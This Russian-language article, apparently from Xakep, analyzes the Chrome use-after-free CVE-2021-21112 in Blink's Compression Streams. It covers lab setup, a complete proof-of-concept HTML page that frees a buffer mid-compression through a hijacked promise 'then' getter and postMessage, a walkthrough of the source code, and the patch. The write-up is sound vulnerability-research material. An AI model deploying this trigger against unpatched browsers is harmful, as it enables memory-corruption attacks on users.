Хакер - Жидкий хром. Как работает баг use after free в движке Blink
hacker_frei
sploitem
Содержание статьи
- Стенд
- Теория
- Потоки сжатия
- Promise
- postMessage
- Запуск PoC
- Анализ PoC
- Анализ исходного кода
- Анализ патча
- Выводы
В январе 2021 года вышел очередной релиз браузера Chrome. В нем исправили 16 уязвимостей. Одну из них мы с тобой сегодня разберем, чтобы понять механизм возникновения таких багов и способы эксплуатации, с помощью которых злоумышленник может атаковать машину, оставшуюся без обновлений.
Версия Chrome, о которой пойдет речь, — 87.0.4280.141. А интересующая нас запатченная уязвимость — CVE-2021-21112. Она касается компонента потоков компрессии в браузерном движке Blink и работает по принципу use after free. О баге сообщил исследователь YoungJoo Lee (@ashuu_lee) из компании Raon Whitehat в ноябре 2020 года через сайт bugs.chromium.org, номер отчета 1151298.
Blink — это браузерный движок, на основе которого работает Chrome. А потоки сжатия — это те же веб‑потоки (web streams), но для удобства веб‑разработчиков передающиеся со сжатием. Чтобы не приходилось тянуть за проектом зависимости типа zlib, создатели Chrome решили интегрировать форматы сжатия gzip и deflate в движок Blink.
По сути, это удобная обертка, трансформирующий поток с алгоритмом трансформации данных по умолчанию (или gzip, или deflate). Трансформирующий поток — это объект, содержащий два потока: читаемый (readable) и записываемый (writable). А между ними находится трансформер, который применяет заданный алгоритм к проходящим между ними данным.
В статье я буду ссылаться на старые версии спецификации потоков и исходного кода. По понятным причинам исходный код с тех пор изменился. Да и спецификация тоже.
СТЕНД
Для воспроизведения уязвимости понадобится стенд, состоящий из виртуальной машины и уязвимой версии Chrome. Готовую виртуальную машину можно загрузить с сайта osboxes.org. Сайт предоставляет образы виртуальных машин как для VirtualBox, так и для VMware.

Я буду использовать образ Xubuntu 20 для VirtualBox. Читатель волен выбирать любой дистрибутив. Запускаем машину, обновляемся:
sudo apt update && sudo apt upgrade -y
Теперь нам нужна уязвимая версия браузера.

Уязвимую версию Chrome, скомпилированную с ASan (AddressSanitizer), можно скачать с googleapis.com. В отчете об уязвимости указано название нужной сборки, а именно билд asan-linux-release-812852. Распаковываем архив:
unzip asan-linux-release-812852.zip
Готовый билд сэкономит кучу времени, так как сборка браузера требует времени, особенно если машина не очень мощная.
AddressSanitizer — это детектор ошибок памяти. Он предоставляет инструментацию во время компиляции кода и библиотеку времени выполнения (runtime). Подробнее о нем можно почитать на сайте Clang.
Теперь у нас готова виртуальная машина и скачан необходимый билд Chrome. Помимо них, нам понадобится Python 3 и LLVM. Обычно лог санитайзера ASan выглядит нечитаемо, поскольку там указаны только адреса и смещения. Разобраться поможет утилита llvm-symbolizer, которая устанавливается вместе с LLVM. Она читает эти адреса и смещения и выводит соответствующие места в исходном коде. Лог ASan будет выглядеть намного понятнее.
Ну а Python поможет нам готовить данные для сжатия.

Все установлено, теперь в бой!
ТЕОРИЯ
Прежде чем разбираться в деталях уязвимости, нам нужно немного понимать предметную область.
Предыстория всего этого такова. В конце 2019 года команда разработчиков Chromium реализовала новый JavaScript API, который называется Compression Streams. Детали реализации приведены в отчете.
Этот API основан на спецификации потоков (спецификация от 30 января 2020 года). Подробно с его концепцией можешь ознакомиться в дизайн‑документе, дополнительные пояснения смотри на GitHub.
Я привожу более старые версии, так как уязвимость касалась именно их реализации. В дальнейшем спецификация потоков и их реализация в Chromium изменилась.
Теперь разберемся в потоках преобразования, потоках сжатия, объектах promise и методе postMessage
.
Потоки сжатия
Потоки сжатия основаны на концепции и реализации веб‑потоков. Отличие в том, что потоки компрессии могут сжимать и распаковывать данные. На выбор — алгоритмы gzip и deflate, широко применяемые в веб‑технологиях. Потоки компрессии удовлетворяют спецификации transform stream.

Ниже приведена схема алгоритма.

Грубо говоря, если данные не кончились (считан чанк), то вызывается метод Transform
, а тот вызовет метод компрессии или декомпрессии — в данном случае Inflate. В этом методе данные обрабатываются в цикле. Затем они помещаются в очередь потока. Для этого вызывается метод Enqueue
.
То есть обрабатываем куски данных и кладем их в очередь.
Promise
JavaScript часто описывают как язык прототипного наследования. Каждый объект имеет объект‑прототип — шаблон методов и свойств. Все объекты имеют общий прототип Object.prototype
и свой отдельный.
Поэтому при изменении каких‑то свойств или методов прототипа новые объекты будут обладать измененными свойствами или методами.
Далее нас интересуют асинхронное программирование и «обещания» (promise). Раньше JavaScript исполнялся синхронно, но это мешало веб‑страницам быстро загружаться и плавно работать. Асинхронное программирование позволяет обойти эту проблему. При ожидании какой‑то операции (загрузки данных по сети, чтения с диска и тому подобных) основной поток приложения не блокируется, и оно не подвисает.
Сначала в JavaScript внедрили асинхронные колбэки (вызовы функций по завершении операции). Позднее придумали новый стиль написания асинхронного кода — «обещания». Promise — это объект, представляющий асинхронную операцию, выполненную удачно или неудачно. На картинке это наглядно изображено.

Промис — это как бы промежуточное состояние: «Я обещаю вернуться к вам с результатом как можно скорее».
У объекта promise есть метод then
. Он принимает два параметра: функции, которые нужно вызвать в случае разрешения (resolve) или в случае отклонения (reject). В зависимости от результата будет вызвана соответствующая.
Особенность JavaScript в том, что в этом языке все является объектом. По сути метод или функция — это тоже объект. И доступ к нему — это вызов объектов get
и set
объекта — прототипа объекта. Красиво?
Особенность объекта promise в том, что при его разрешении (resolve) необходимо вызвать then
. Доступ к этому методу (get
) можно изменить на пользовательский код, сменив общий для всех объектов прототип:
Object.defineProperty(Object.prototype, "then", {
get() {
console.log("then getter executed");
}
});
postMessage
Как мы можем узнать из MDN Web Docs, этот метод позволяет обмениваться данными между объектами типа Window
, например между страницей и фреймом. Интересная особенность заключается в том, как передаются данные.
postMessage(message, targetOrigin, transfer);
После вызова функции владение transfer
передается адресату, а на передающей стороне прекращается.
Если вкратце, суть уязвимости в том, что обработка большого массива данных происходит в цикле и при добавлении обработанных чанков в очередь есть возможность вызвать пользовательский код на JS. Это обеспечено тем, что объекту promise дано разрешение на чтение из потока. Пользовательский код через postMessage
может освободить данные, которые на тот момент обрабатывались в цикле.
Для более детального понимания всех концепций можно обратиться к спецификации. Мы же переходим к практике.
ЗАПУСК POC
Первым делом нужно LLVM, так как с ним поставляется симболизатор. Без него стек вызовов будет выглядеть непонятно, поскольку не будет названий методов и имен файлов.
Скачанный билд распаковываем в виртуалке и запускаем. Смотрим, чтобы версия совпадала со скриншотом.

Теперь создадим файл randomfile.py
и запустим его:
python3 randomfile.py
Этим мы создадим данные, которые будет считывать поток сжатия (deflate).
with open('/dev/urandom', 'rb') as f:
random = f.read(0x40000)
with open('./random', 'wb') as f:
f.write(random)

Далее создаем файл poc.html
и записываем в него следующее:
<html>
<title>Secware.ru</title>
<script>
let ab;
async function main() {
await fetch("random").then(x => x.body.getReader().read().then(y => ab = y.value.buffer));
Object.defineProperty(Object.prototype, "then", {
get() {
var ab2 = new ArrayBuffer(0);
try {
postMessage("", "Secware", [ab]);
} catch (e) {
console.log("free");
}
}
});
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();
}
main();
</script>
<body>
<h2>Welcome to Secware pwn page!</h2>
</body>
</html>
Теперь нужно открыть новый терминал и запустить веб‑сервер из папки с файлами poc.html
и random
.
python3 -m http.server

Перед запуском Chromium следует установить опции ASan.
export ASAN_OPTIONS=symbolize=1
Далее запускаем уязвимый билд и указываем ему, куда подключиться. Заодно укажем флаги запуска без песочницы и использования GPU.
asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://127.0.0.1:8000/poc.html
Вкладка браузера должна упасть.

В консоли можно увидеть лог санитайзера адресов ASan.

На рисунке ниже приведен стек вызовов до метода Transform
на сайте исходного кода Chromium. Но в ветке main
(на момент написания статьи 2ff0ac6), так как в старых коммитах не работают референсы и сложно отыскать граф вызовов нужных методов.

Схематически граф вызовов выглядит так.

Метод Transform вызывает Deflate
(в случае сжатия), где и происходит use after free, на строке 117 файла deflate_transformer.cc. По факту доступ к освобожденному массиву происходит в коде zlib, но мы туда не полезем.

Также в логе видно, что освобождение памяти происходит из метода postMessage
.

АНАЛИЗ POC
Посмотрим код, который триггерит уязвимость. Сначала вызывается функция fetch
и подгружается наш файл random
. Буфер с данными присваивается переменной ab
.
await fetch("random").then(x => x.body.getReader().read().then(y=>ab=y.value.buffer));
Затем переопределяется аксессор свойства then
. Здесь как раз прописан код, который освобождает память через вызов postMessage
. Массив ab
будет освобожден (параметр transfer
).
Object.defineProperty(Object.prototype, "then", {
get() {
var ab2 = new ArrayBuffer(0);
try {
postMessage("", "Secware", [ab]);
} catch (e) {
console.log("free");
}
}
});
В остальной части кода создается поток сжатия, ему передаются данные из нашего файла random
и через читателя (reader) создается запрос на чтение (read_request).
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();
Как раз этот запрос на чтение и спровоцирует освобождение памяти. Как? Если вкратце, то вызов контроллера enqueue
трансформирующего потока приводит к вызову пользовательского кода. Это как раз код, который активирует postMessage
и освобождает массив ab
.
Упрощенно схема выглядит вот так.

АНАЛИЗ ИСХОДНОГО КОДА
Схематически цепочка вызовов от Deflate
до пользовательского кода на JS будет такой, как на схеме ниже.

Теперь, зная общую картину, пройдемся по исходному коду. Вот как выглядит метод сжатия Deflate. В цикле do-while данные читаются, сжимаются (deflate), а потом помещаются в очередь потока (controller->enqueue()
).

Функция cpp controller->enqueue()
приведет нас в метод cpp TransformStreamDefaultController::Enqueue
. Для краткости я пропустил пару посредников между ними.

Здесь вызывается метод с таким же названием, но из класса контроллера readable-потока (ReadableStreamDefaultController).

Здесь происходит проверка наличия запросов на чтение. А мы как раз оставили один такой запрос при помощи такого кода:
javascript var { value, done } = await reader.read();
А раз он есть, будет вызван метод cpp ReadableStream::FulFillReadRequest
.
Тот в свою очередь вызовет Resolve для promise, то есть запрос на чтение.

По спецификации ECMAScript разрешение promise
обязательно должно зайти в свойство then
. А поскольку мы поменяли геттер then
через Object.prototype
, то при доступе к then
вызовется наш код. Он освободит массив, который в данный момент обрабатывает цикл метода Deflate
.
А значит, код попытается получить доступ к освобожденной памяти.

Так и работает уязвимость. Остальное сводится к эксплуатации уязвимостей типа use after free. Но это уже отдельная тема, требующая отдельной объемной статьи.
WWW
- Exploiting a textbook use-after-free in Chrome
- Cleanly Escaping the Chrome Sandbox
- My Take on Chrome Sandbox Escape Exploit Chain
АНАЛИЗ ПАТЧА
Теперь посмотрим, как же пофиксили данную уязвимость разработчики Chromium. В описании патча говорится следующее:
Correctly handle detach during (de)compression
Sometimes CompressionStream and DecompressionStream enqueue multiple output chunks for a single input chunk. When this happens, JavaScript code can detach the input ArrayBuffer while the stream is processing it. This will cause an error when zlib tries to read the buffer again afterwards. To prevent this, buffer output chunks until the entire input chunk has been processed, and then enqueue them all at once.
По сути, для компрессии и декомпрессии теперь используется временный массив buffers
.

Только после этого данные передаются в очередь потока через вызов enqueue
. Уже он может вызвать пользовательский код на JS.

Следовательно, во время работы цикла компрессии/декомпрессии уже невозможно вызвать пользовательский код. Метод enqueue
будет вызван после. То же будет и с кодом атакующего, но данные уже обработаны и доступа к освобожденной памяти не будет.
ВЫВОДЫ
В заключение хочу сказать, что уязвимость явно была вдохновлена предыдущими подобными багами. Отчеты Сергея Глазунова номер 2001 от 27 января 2020 года и номер 2005 от 30 января 2020 года касались этого же компонента. Уязвимости триггерились похожим методом и были связаны с разрешением promise. В текущей версии спецификации потоков и кода Chromium такая возможность отсутствует.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei